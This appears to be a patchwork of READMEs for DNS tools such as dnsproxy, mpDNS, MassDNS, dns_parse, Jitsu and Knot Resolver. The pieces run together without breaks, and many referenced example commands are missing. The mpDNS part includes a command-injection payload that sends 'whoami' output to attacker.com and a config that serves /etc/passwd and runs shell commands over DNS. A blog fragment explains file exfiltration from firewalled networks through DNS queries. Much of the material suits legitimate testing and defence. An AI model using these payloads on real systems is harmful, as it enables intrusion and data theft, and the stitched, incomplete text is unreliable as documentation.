Dns2tcp is a tool for relaying TCP connections over DNS. There is only a simple identification mecanism but no encryption : DNS encapsulation must be considered as an unsecure and anonymous transport layer. Resources should be public external services like ssh, ssltunnel ...
Simple DNS proxy with DoH, DoT, and DNSCrypt support.
A simple DNS proxy server that supports all existing DNS protocols including DNS-over-TLS, DNS-over-HTTPS, and DNSCrypt.
Moreover, it can work as a DNS-over-HTTPS and/or DNS-over-TLS server.
How to build
You will need go v1.11 or later.
$ go build
Usage
Usage: dnsproxy [OPTIONS]
Application Options: -v, --verbose Verbose output (optional) -o, --output= Path to the log file. If not set, write to stdout. -l, --listen= Listen address (default: 0.0.0.0) -p, --port= Listen port. Zero value disables TCP and UDP listeners (default: 53) -h, --https-port= Listen port for DNS-over-HTTPS (default: 0) -t, --tls-port= Listen port for DNS-over-TLS (default: 0) -c, --tls-crt= Path to a file with the certificate chain -k, --tls-key= Path to a file with the private key -b, --bootstrap= Bootstrap DNS for DoH and DoT, can be specified multiple times (default: 8.8.8.8:53) -r, --ratelimit= Ratelimit (requests per second) (default: 0) -z, --cache If specified, DNS cache is enabled -e --cache-size= Maximum number of elements in the cache. Default size: 1000 -a, --refuse-any If specified, refuse ANY requests -u, --upstream= An upstream to be used (can be specified multiple times) -f, --fallback= Fallback resolvers to use when regular ones are unavailable, can be specified multiple times -s, --all-servers Use parallel queries to speed up resolving by querying all upstream servers simultaneously
Help Options: -h, --help Show this help message --version Print DNS proxy version
Examples
Simple options
Runs a DNS proxy on 0.0.0.0:53 with a single upstream - Google DNS.
./dnsproxy -u 8.8.8.8:53
The same proxy with verbose logging enabled writing it to the file log.txt.
./dnsproxy -u 8.8.8.8:53 -v -o log.txt
Runs a DNS proxy on 127.0.0.1:5353 with multiple upstreams.
You can specify upstreams that will be used for a specific domain(s). We use the dnsmasq-like syntax (see --serverdescription here).
Syntax:[/[domain1][/../domainN]/]upstreamString
If one or more domains are specified, that upstream (upstreamString) is used only for those domains. Usually, it is used for private nameservers. For instance, if you have a nameserver on your network which deals with xxx.internal.localat 192.168.0.1 then you can specify [/internal.local/]192.168.0.1, and dnsproxy will send all queries to that nameserver. Everything else will be sent to the default upstreams (which are mandatory!).
An empty domain specification, // has the special meaning of "unqualified names only" ie names without any dots in them.
More specific domains take precedence over less specific domains, so: --upstream=[/host.com/]1.2.3.4 --upstream=[/www.host.com/]2.3.4.5 will send queries for *.host.com to 1.2.3.4, except *.www.host.com, which will go to 2.3.4.5
The special server address '#' means, "use the standard servers", so: --upstream=[/host.com/]1.2.3.4 --upstream=[/www.host.com/]# will send queries for *.host.com to 1.2.3.4, except *.www.host.com which will be forwarded as usual.
Examples
Sends queries for *.local domains to 192.168.0.1:53. Other queries are sent to 8.8.8.8:53.
Edit names.db with ./mpdns.py -e no restart required
Offensive and Defensive purposes:
You need a light-weight simple dns-server solution for testing purposes (NOT PRODUCTION!)
Test for various blind injection vulnerabilities in web applications (ex. /ping.php?ip=$(dig $(whoami).attacker.com))
Easily infiltrate 65K of data in one TXT query
DNS Rebinding
Execute custom macro action on specific query (useful in malware-analysis lab environments)
And lots more. It is highly customizable.
Installing
git clone https://github.com/nopernik/mpDNS
Limitations
Due to UDP Datagram limit of 65535 bytes, DNS response is limited to approx ~65200 bytes this limitation applies to TXT records which are splitted into chunks of 256 bytes until response reaches maximum allowed 65200b therefore TXT record with macro {{file:localfile.txt}} is limited to 65200 bytes.
No support for nested wildcards test.*.example.com
No support for custom DNS server resolver in {{resolve::example.com}} macro
TTL always set to 0
Examples
names.db example:
# Empty configuration will result in empty but valid responses # # Unicode domain names are not supported but still can be catched by the server. # for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response
passwd.example.com TXT {{file::/etc/passwd}} #comments are ignored shellexec TXT {{shellexec::whoami}} eval TXT {{eval::import random; res = random.randint(1,500)}} resolve1 A {{resolve}} resolve2 A {{resolve::self}} #same as previous resolve3 A {{resolve::example.com}} blabla.com A 5.5.5.5
* A 127.0.0.1 *.example.com A 7.7.7.7 c1.example.com CNAME c2.example.com c2.example.com CNAME c3.example.com c3.example.com CNAME google.example.com google.example.com CNAME google.com test.example.com A 8.8.8.8 google.com A {{resolve::self}} notgoogle.com A {{resolve::google.com}}
Example output with names.db example:
Regular resolution from DB: dig test.example.com @localhost
;; ANSWER SECTION: test.example.com. 0 IN A 8.8.8.8
mpDNS output:- Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)
;; ANSWER SECTION: c1.example.com. 0 IN CNAME c2.example.com. c2.example.com. 0 IN CNAME c3.example.com. c3.example.com. 0 IN CNAME google.example.com. google.example.com. 0 IN CNAME google.com. google.com. 0 IN A 216.58.206.14
mpDNS output:
- Request from 127.0.0.1:44120 -> c1.example.com. -> c2.example.com (CNAME) - Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME) - Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME) - Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME) - Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)
Wildcard resolution: dig not-in-db.com @localhost
;; ANSWER SECTION: not-in-db.com. 0 IN A 127.0.0.1
mpDNS output:- Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)
A high-performance DNS stub resolver for bulk lookups .
MassDNS 0.3 (experimental)
A high-performance DNS stub resolver
MassDNS is a simple high-performance DNS stub resolver targetting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per second using publicly available resolvers.
Major changes
This version of MassDNS is currently experimental. In order to speed up the resolving process, the ldns dependency has been replaced by a custom stack-based DNS implementation (which currently only supports the text representation of the most common DNS records). Furthermore, epoll has been introduced in order to lighten CPU usage when operating with a low concurrency which may have broken compatibility with some platforms. In case of bugs, please create an issue and switch to the more mature version 0.2.
Also note that the command line interface has changed slightly due to criticism of the output complexity. Additionally, the default values of the -s and -i parameters have been changed. The repository structure has been changed as well.
Clone the git repository and cd into the project root folder. Then run make to build from source. If you are not on Linux, run make nolinux. On Windows, the Cygwin packages gcc-core, git and make are required.
Usage
Usage: ./bin/massdns [options] [domainlist] -b --bindto Bind to IP address and port. (Default: 0.0.0.0:0) --busy-poll Use busy-wait polling instead of epoll. -c --resolve-count Number of resolves for a name before giving up. (Default: 50) --drop-group Group to drop privileges to when running as root. (Default: nogroup) --drop-user User to drop privileges to when running as root. (Default: nobody) --flush Flush the output file whenever a response was received. -h --help Show this help. -i --interval Interval in milliseconds to wait between multiple resolves of the same domain. (Default: 500) -l --error-log Error log file path. (Default: /dev/stderr) --norecurse Use non-recursive queries. Useful for DNS cache snooping. -o --output Flags for output formatting. --predictable Use resolvers incrementally. Useful for resolver tests. --processes Number of processes to be used for resolving. (Default: 1) -q --quiet Quiet mode. --rcvbuf Size of the receive buffer in bytes. --retry Unacceptable DNS response codes. (Default: REFUSED) -r --resolvers Text file containing DNS resolvers. --root Do not drop privileges when running as root. Not recommended. -s --hashmap-size Number of concurrent lookups. (Default: 10000) --sndbuf Size of the send buffer in bytes. --sticky Do not switch the resolver when retrying. --socket-count Socket count per process. (Default: 1) -t --type Record type to be resolved. (Default: A) --verify-ip Verify IP addresses of incoming replies. -w --outfile Write to the specified output file instead of standard output.
Output flags: S - simple text output F - full text output B - binary output J - ndjson output
This overview may be incomplete. For more options, especially concerning output formatting, use --help.
Example
Resolve all AAAA records from domains within domains.txt using the resolvers within resolvers.txt in lists and store the results within results.txt:
The resolver IP address is included in order to make it easier for you to filter the output in case you detect that some resolvers produce bad results.
Resolving
The repository includes the file resolvers.txt consisting of a filtered subset of the resolvers provided by the subbrute project. Please note that the usage of MassDNS may cause a significant load on the used resolvers and result in abuse complaints being sent to your ISP. Also note that the provided resolvers are not guaranteed to be trustworthy. The resolver list is currently outdated with a large share of resolvers being dysfunctional.
MassDNS's DNS implementation is currently very sporadic and only supports the most common records. You are welcome to help changing this by collaborating.
PTR records
MassDNS includes a Python script allowing you to resolve all IPv4 PTR records by printing their respective queries to the standard output.
Please note that the labels within in-addr.arpa are reversed. In order to resolve the domain name of 1.2.3.4, MassDNS expects 4.3.2.1.in-addr.arpa as input query name. As a consequence, the Python script does not resolve the records in an ascending order which is an advantage because sudden heavy spikes at the name servers of IPv4 subnets are avoided.
Reconnaissance by brute-forcing subdomains
Perform reconnaissance scans responsibly and adjust the -s parameter to not overwhelm authoritative name servers.
Similar to subbrute, MassDNS allows you to brute force subdomains using the included subbrute.py script:
$ ./scripts/subbrute.py lists/names.txt example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt
As an additional method of reconnaissance, the ct.py script extracts subdomains from certificate transparency logs by scraping the data from crt.sh:
$ ./scripts/ct.py example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt
The files names.txt and names_small.txt, which have been copied from the subbrute project, contain names of commonly used subdomains. Also consider using Jason Haddix' subdomain compilation with over 1,000,000 names.
Screenshots
Security
MassDNS does not require root privileges and will therefore drop privileges to the user called "nobody" by default when being run as root. If the user "nobody" does not exist, MassDNS will refuse execution. In this case, it is recommended to run MassDNS as another non-privileged user. The privilege drop can be circumvented using the --root argument which is not recommended. Also note that other branches than master should not be used in production at all.
Practical considerations
Performance tuning
MassDNS is a simple single-threaded application designed for scenarios in which the network is the bottleneck. It is designed to be run on servers with high upload and download bandwidths. Internally, MassDNS makes use of a hash map which controls the concurrency of lookups. Setting the size parameter -s hence allows you to control the lookup rate. If you are experiencing performance issues, try adjusting the -s parameter in order to obtain a better success rate.
Rate limiting evasion
In case rate limiting by IPv6 resolvers is a problem, have a look at the freebind project including packetrand, which will cause each packet to be sent from a different IPv6 address from a routed prefix.
Result authenticity
If the authenticity of results is highly essential, you should not rely on the included resolver list. Instead, set up a local unbound resolver and supply MassDNS with its IP address. In case you are using MassDNS as a reconnaissance tool, you may wish to run it with the default resolver list first and re-run it on the found names with a list of trusted resolvers in order to eliminate false positives.
What the DNS Queries Look Like in Your Server's DNS Query Log
# The base64 encoded data is the payload # Each query contains 8 bytes from the file
26-Aug-13 18:12:39 queries: info: client 8.x.x.x#18743: query: AAAAAAAAAAAxMjM0NTY3OA==.file1.16s.us IN A -ED (2.x.x.x) 26-Aug-13 18:12:49 queries: info: client 8.x.x.x#59519: query: AQAAAAAAAAA5MAoAAAAAAA==.file1.16s.us IN A -ED (2.x.x.x)
What the Raw Reassembled File Looks Like
# First element is the sequence number. Second is bytes from file. # You need the sequence number to reassemble the file in the right order.
(0, '12345678') (1, '90\n\x00\x00\x00\x00\x00')
That's It
This can be automated and made to be very efficient, but I won't get into that. It also works on very large files (2^32 * 8) and with any type of file (text, binary, etc). So, now you know how to exfiltrate files from a firewalled network using simple DNS queries. When/if the network security team figures this out and blocks it, I'll demonstrate a few other ways in which data can be exfiltrated.
Again, this information is meant for research/educational purposes only.
-- OVERVIEW -- dns_parse takes as input a pcap of DNS data and produces a complete, trivially parsable, human readable ASCII version of the same data. It's generally useful for network monitoring (send the data to Splunk or similar). The most common carrying protocols are supported, as well as packet deduplication.
-- SUPPORTED PROTOCOLS -- Ethernet MPLS IPv4 (including fragment reassembly) IPv6 (including fragment reassembly) UDP TCP (with flow state saving and loading between pcaps) DNS (on any port)
-- AUTHOR INFO -- Paul Ferrell pferrell@lanl.gov
-- CONTENTS -- Code to build bin/dns_parse. init/dnscapture - An init script for running tcpdump on an interface as a service to generate regular pcap files. bin/dns_parse_cron - A python cron job script for periodically running dns_parse on regularly output pcap files (generally from using the -C or -G options in tcpdump). pkgs/dns_parse.spec - An RPM spec file, for those dinosaurs that still use these things (like me). etc/* - example config files for init/dnscapture and bin/dns_parse_cron
-- DEPENDENCIES -- libpcap
-- OS Dependencies -- This has been tested primarily on x86_64 linux, but there shouldn't be any typing issues on 32 bit machines.
-- BUILDING AND INSTALLING -- make make install
-- Running -- "./bin/dns_parse -h" should tell you everything you need to know.
A reasonable set of options is: ./bin/dns_parse -m "" -t -r This gets you newline separated resource records an empty main record separator, pretty printed dates, and the shorthand for the record types (ie. A or CNAME). Printing of additional and name server records is disabled (by default).
Jitsu is a forwarding DNS server that automatically boots unikernels on demand. When a DNS query is received, Jitsu first checks for a local unikernel that is mapped to the requested domain. If a unikernel is found, the unikernel is started and its IP is returned to the client. Otherwise, the request is forwarded to the next DNS server. If no DNS requests are received for the unikernel within a given timeout period it is automatically stopped.
This version of Jitsu has been tested with MirageOS and Rumprun unikernels.
Jitsu supports several backends to manage the unikernel VMs. Currently libvirt, XAPI and libxenlight are supported. Metadata and internal state is stored in Irmin and the DNS server is implemented on top of ocaml-dns.
The latest release of Jitsu is available in opam. To install Jitsu, run:
$ opam install jitsu
When Jitsu is installed it will look for available backends that can be used to start unikernels (or processes). The backends currently supported are xenctrl (libxl), libvirt and xen-api-client (xapi). If a new backend is installed opam will reinstall Jitsu to add support for it.
The virtual packages jitsu-libvirt, jitsu-xapi and jitsu-libxl can be used to force Jitsu to be installed with a specific backend.
To install the latest development version of Jitsu, you can pin Jitsu to the current master branch on Github. This version is unstable and changes frequently.
$ opam pin add jitsu --dev $ opam install jitsu
If the installation succeeds you should now be able to start Jitsu. If you ran into problems and are using OS X, see below for additional troubleshooting tips.
OS X troubleshooting
To install the OCaml libvirt bindings on OS X we have to set CPPFLAGS first (due to this bug). This step can be skipped on other platforms.
The command above connects to a local Xen-server (from dom0) through libvirt (the default) and starts the DNS server. Requests for www.openmirage.org will be redirected to the Xen-VM called "mirage-www" with IP 192.168.0.22. If "mirage-www" is not running, Jitsu will start it automatically before responding to the DNS request.
Each unikernel is configured using a set of key/value pairs separated by commas. The parameters that are supported depends on which virtualization backend (libvirt, xapi or libxl) is used to control the unikernels. See below or run ./jitsu --help for a complete set of options.
Examples
MirageOS web server
For this example you need a working MirageOS unikernel with a static IP address and access to dom0 on a Xen server with libxl installed. You can also install Xen in Virtualbox, as described here or use one of the Mirage Vagrant VMs. An example unikernel that displays the unikernel boot time can be found here (a live version is running here). Follow the instructions in the README to configure the network settings. After building the unikernel you should have a binary file that can be booted in Xen, usually mirage-www.xen. You can also check the generated .xl file and locate the kernel=parameter to find the file.
We should now be able to start Jitsu to manage the unikernel:
This command boots the unikernel when www.example.org is resolved. The IP 10.0.0.1 is returned to clients that resolve the domain and the booted unikernel is in mirage-www.xen. The VM is given 64MB of memory and access to a network bridge at br0.
If everything worked, Jitsu should now be running a DNS server on localhost. To verify that the domain is automatically started you can run host to resolve the domain:
After running host you should be able to open the web page on 10.0.0.1 (or telnet to port 80) and ping the IP.
The unikernel is automatically destroyed after the DNS cache entry expires. This timeout can be set with the --ttlparameter. See jitsu --help for a full list of available parameters and options that can be passed to the libxlbackend.
nginx in rumprun
Rumprun unikernels can also be managed by Jitsu, but currently only with the libxl backend. Prior to running Jitsu, the rumprun tool must be used to generate a JSON configuration file that is passed to Jitsu using the rumprun_configparameter.
A tutorial for building a unikernel that hosts a static web page in QEMU is available here. To get a Xen unikernel, follow the instructions, but run rumpbake with the xen_pv parameter instead of hw_virtio. After baking the Xen unikernel it must be started once with rumprun to obtain the configuration files. To run the Nginx unikernel from the tutorial in Xen you could (depending on your configuration) use a command similar to this:
The command above will boot a rumprun unikernel that mounts two disks (stubetc.iso and data.iso), connect it to the network bridge br0 and give it the IP 10.0.0.1. The -T parameter saves the generated configuration files in the tmpdirectory. You can verify that the unikernel booted correctly by running sudo xl list. You can also attach to the console with sudo xl console [name of unikernel]. To stop the unikernel, use sudo xl destroy [name of unikernel].
If the unikernel booted correctly we should now be able to use the file tmp/json.conf to boot it with Jitsu.
Verify that the unikernel boots in Jitsu by running host www.example.org 127.0.0.1. An nginx web server should now be running in a rumprun unikernel on IP 10.0.0.1.
Note that rumprun unikernels currently have to wait for the disk images to be configured by Xen. When the disks are mounted as ISO files (as in this example) the total boot time can be more than a second. An alternative is to use losetupto create loopback devices that map to the ISO files. The -d parameter can also be used to delay the DNS response to compensate for this. See jitsu --help for a full list of available options.
Linux VMs in Virtualbox
Jitsu can be used to control VMs in Virtualbox with libvirt. Note that how well this will work depends on how quickly the VM is able to respond to requests after resuming from suspend (see also the -d parameter for how to delay the DNS response).
First, install libvirt and use virsh to display a list of available VMs. Example output:
$ virsh list --all Welcome to virsh, the virtualization interactive terminal.
Type: 'help' for help with commands 'quit' to quit
virsh # list --all Id Name State ---------------------------------------------------- 2 Ubuntu running
If virsh is unable to connect to Virtualbox, you may have to adjust the connection URI (-c [uri]). The default connection URI for Virtualbox is vbox:///session - see this page for more details. In OS X you may have to set the socket manually, which can be done with 'vbox:///session?socket=path-to-socket'. Remember to use the same connection URI for Jitsu below.
You should now be able to start Jitsu. Use '-m suspend' to set it to suspend the VM on inactivity. Example output:
$ sudo ./jitsu dns=www.example.com,ip=127.0.0.1,name=Ubuntu -m suspend -c vbox:///session Connecting to vbox:///session... Adding domain 'www.example.com' for VM 'Ubuntu' with ip 127.0.0.1 Adding SOA 'example.com' with ttl=60 Adding A PTR for 'www.example.com' with ttl=60 and ip=127.0.0.1 Starting server on 127.0.0.1:53...
To test that Jitsu works, try to resolve the domain with host:
$ virsh dominfo Ubuntu Id: 2 Name: Ubuntu UUID: 6e696eb7-09f4-484c-981b-8d34efa0304d OS Type: hvm State: running CPU(s): 3 Max memory: 2147483648 KiB Used memory: 3166208 KiB Persistent: yes Managed save: unknown
After 2 minutes without DNS requests, Jitsu will suspend the domain automatically. This timeout can be adjusted with the --ttl parameter. Jitsu terminates the VM after 2 x DNS TTL seconds has expired without new requests.
Options
-b ADDR, --bind=ADDR (absent=127.0.0.1) Bind local DNS server to interface with this IP
-c CONNECT, --connect=CONNECT (absent=xen:///) Libvirt and Xapi connection string (e.g. xen+ssh://x.x.x.x/system or vbox:///session)
-d SECONDS, --delay=SECONDS (absent=0.1) Time to wait in seconds before responding to a DNS query after the local VM has started. This delay gives the VM time to open up the necessary TCP ports etc. Setting this value too low can result in long delays on the first TCP request to the VM.
-f ADDR, --forwarder=ADDR IP address of DNS server queries should be forwarded to if no local match is found. Defaults to system default (/etc/resolv.conf) if not specified. Set to 0.0.0.0 to disable forwarding.
--help[=FMT] (default=pager) Show this help in format FMT (pager, plain or groff).
-l PORT, --listen=PORT (absent=53) UDP port to listen for DNS queries
-m MODE, --mode=MODE (absent=destroy) How to stop running VMs after timeout. Valid options are suspend, destroy and shutdown. Suspended VMs are generally faster to resume, but require resources to store state. Note that MirageOS suspend/resume is currently not supported on ARM.
-p PORT, --port=PORT (absent=53) UDP port to forward DNS queries to
--persistdb=path Store the Irmin database in the specified path. The default is to store the database in memory only. Note that modifying this database while Jitsu is running is currently unsupported and may crash Jitsu or have other unexpected results.
--synjitsu=UUID UUID of a running Synjitsu compatible unikernel. When specified, Jitsu will attempt to connect to a Synjitsu unikernel over Vchan on port 'synjitsu' and send notifications with updates on MAC- and IP-addresses of booted unikernels. This allows Synjitsu to send gratuitous ARP on behalf of booting unikernels and to cache incoming SYN packets until they are ready to receive them. This feature is experimental and requires a patched MirageOS TCP/IP stack.
-t SECONDS, --ttl=SECONDS (absent=60) DNS TTL in seconds. The TTL determines how long the clients may cache our DNS response. VMs are terminated after no DNS requests have been received for TTL*2 seconds.
--version Show version information.
-x BACKEND, --backend=BACKEND (absent=libvirt) Which backend to use. Currently libvirt, xapi and libxl are supported. Xapi and libxl are less tested and should be considered experimental.
COMMON CONFIGURATION response_delay Override default DNS query response delay for this unikernel. See also -d.
wait_for_key Wait for this key to appear in Xenstore before responding to the DNS query. Sleeps for [response_delay] after the key appears. The key should be relative to /local/domain/[domid]/.
use_synjitsu Enable Synjitsu for this domain if not 0 or absent (requires Synjitsu support enabled)
LIBVIRT CONFIGURATION name Name of VM defined in libvirt (ignored if uuid is set)
uuid UUID of VM defined in libvirt (required, but optional if name is set)
dns DNS name (required)
ip IP to return in DNS reply (required)
XAPI CONFIGURATION name Name of VM defined in Xapi (ignored if uuid is set)
uuid UUID of VM defined in Xapi (optional if name is set)
dns DNS name (required)
ip IP to return in DNS reply (required)
LIBXL CONFIGURATION name Name of created VM (required)
dns DNS name (required)
ip IP to return in DNS reply (required)
kernel VM kernel file name (required)
memory VM memory in bytes (required)
cmdline Extra parameters passed to kernel (optional)
nic Network device (br0, eth0 etc). Can be set more than once to configure multiple NICs (optional)
script Virtual interface (VIF) configuration script. Can be set more than once to specify a VIF script per network device (optional)
disk Disk to connect to the Xen VM. Format '[dom0 device/file]@[hdX/xvdX/sdX etc]'. Can be set more than once to configure multiple disks (optional)
rumprun_config Path to file with rumprun unikernel JSON config (optional)
This software is a "DNS looking glass". The DNS (Domain Name System) is the distributed database used to retrieve data (typically IP addresses) from domain names. <https://en.wikipedia.org/wiki/Domain_Name_System>
A "looking glass", among Internet engineers, typically refers to a server on one network which serves information seen from this network (two points of the Internet may see different things, that's why looking glasses are important). Their main use, today, is to see BGP <https://en.wikipedia.org/wiki/Border_Gateway_Protocol> routes from another point of view <https://en.wikipedia.org/wiki/Looking_Glass_servers>. But it is time to extend them to the DNS.
The "DNS looking glass" allows you to get DNS data from another server. This is useful to check site-dependent behavior. Among the many reasons why the DNS data can be different in various places: * cache poisoning, for instance by a Kaminsky attack <https://en.wikipedia.org/wiki/DNS_cache_poisoning>, * DNSSEC validation enabled at some places but not others, * network problems making name servers unreachable from some places, * caching effects (data in the cache at some places but not others), * censorship making some names such as thepiratebay.org or wikileaks.org unavailable in some sites.
License *******
A simple, permissive, free software license, known as 2-clause BSD license (or simplified BSD license; it is equivalent to the ISC license). See LICENSE for the full text.
Usage *****
We assume that someone installed the software. If you install it yourself, see the next section.
There is a non-standard pseudo-querytype ADDR to request both A and AAAA, specially for the links in the HTML output.
The default output format is determined by HTTP content negotiation, so it depends on your client. You can use this program from an ordinary Web browser, which will typically get HTML by default. With a command-line client like curl, you can add the relevant header to get the format you want;
If content negotiation does not suit you, you can add in the URL the option format=FORMAT where FORMAT is XML, HTML, TEXT, ZONE or JSON (see next section). So, for instance, to get the IPv6 address of www.example.com in XML, it will be <https://dns.example.net/www.example.com/AAAA?format=XML>
You can add an option to select the name server to query (the default one is chosen by the server, typically the default resolver(s) of the machine). server=IP-ADDRESS (names are *not* supported)
To activate DNSSEC in the responses (to send the DO bit), use option dodnssec=1 in the URL. This option will allow you (if the resolver supports it) to see the AD (Authentic Data) flag.
To disable DNSSEC validation (if the resolver does it and you don't want it), use option cd=1 (cd = Checking Disabled)
To use TCP (instead of UDP) for the request, use option tcp=1 in the URL.
By default, the server queries the name servers with EDNS0 and a buffer size of 4096 bytes. To change that, use the option buffersize with the value you want. Setting it to 0 will disable EDNS.
There is a rate-limiter so, if you receive HTTP status code 429, it means you have been too aggressive.
Format-specific things **********************
The XML option follows partially the format of Internet-Draft draft-mohan-dns-query-xml for the outer elements (plus some extensions) and of draft-daley-dns-schema for the resource data. Note that the query format does *not* follow the first draft's syntax.
The JSON option's format is documented in the file JSON.txt.
The HTML option's format is not documented. To style the output, a sample CSS file is included in dnslg.css.
The Text option's format is not documented. It is intended for human reading. If you need a structured format, use XML or JSON. If you prefer text-based formats, for instance for processing with common Unix CLI tools (awk, grep, etc), the best one is probably the Zone format.
The Zone option's format follows section 5 of RFC 1035, with tabs as separators.
Using it from a program ***********************
Of course, an important reason to have a structured output format is to use it from a program. See the directory usages/ for sample programs which query the DNS looking glass.
Requirements ************
Requires Python, then SimpleTAL, dnspython, webob and netaddr. If you want to use the database of existing looking glasses, you will also need the yaml module. Debian/Ubuntu: packages "python-netaddr python-dnspython python-webob python-simpletal python-yaml"
Then you have to configure a HTTP server to run this WSGI script. Some configuration data can be sent by environment variables. For instance, if you use Google Webmasters and have the code (the cookie) "google1234baddcaf5678", *and* you want the program to serve the file itself (it is not mandatory), then you need to define the environment variable DNSLG_GOOGLE_WEBMASTERS_CODE to this code.
where dnslg.py is copied and adapted from sample-wsgi-dnslg.py or sample-wsgi-dnslg-with-config-file.py.
The starters with a configuration file use the INI format. Use sample-config-file.ini as an example.
There are many other possibilities, either with Apache or with another HTTP server with WSGI support. Browse the Web!
The official source is at Github <https://github.com/bortzmeyer/dns-lg>. The best place to report bugs, submit patches and give opinions is through the Github issue tracker.
Tests *****
To try it locally; % python test-server.py Then, from another window: % curl http://localhost:8080/example.org/A
Other DNS looking glasses *************************
Knot Resolver is a caching full resolver implementation written in C and LuaJIT, both a resolver library and a daemon. The core architecture is tiny and efficient, and provides a foundation and a state-machine like API for extensions. There are three modules built-in - iterator, validator, cache, and a few more are loaded by default. Most of the rich features are written in Lua(JIT) and C. Batteries are included, but optional.
The LuaJIT modules, support DNS privacy and DNSSEC, and persistent cache with low memory footprint make it a great personal DNS resolver or a research tool to tap into DNS data. TL;DR it's the OpenResty of DNS.
Strong filtering rules, and auto-configuration with etcd make it a great large-scale resolver solution.
The server adopts a different scaling strategy than the rest of the DNS recursors - no threading, shared-nothing architecture (except MVCC cache that may be shared) that allows you to pin instances on available CPU cores and grow by self-replication. You can start and stop additional nodes depending on the contention without downtime.
It also has strong support for DNS over TCP, notably TCP Fast-Open, query pipelining and deduplication, and response reordering.
This is simple and doesn't require any dependencies or system modifications, just run:
$ docker run -Pit cznic/knot-resolver
The images are meant as an easy way to try knot-resolver, and they're not designed for production use.
Running
The project builds a resolver library in the lib directory, and a daemon in the daemon directory. It requires no configuration or parameters to run a server on localhost.
Script that updates DNS settings are pushed by the OpenVPN server.
Description
This is a script to update your /etc/resolv.conf with DNS settings that come from the received push dhcp-options. Since network management is out of OpenVPN client scope, this script adds and removes the provided from those settings.
Place the script in /etc/openvpn/update-resolv-conf.sh or anywhere the OpenVPN client can acess.
Add the following lines to your client configuration:
# This updates the resolvconf with dns settings setenv PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin script-security 2 up /etc/openvpn/update-resolv-conf.sh down /etc/openvpn/update-resolv-conf.sh down-pre
Just start your openvpn client with the command you used to do.
Alternatively, if you don't want to edit your client configuration, you can add the following options to your openvpn command:
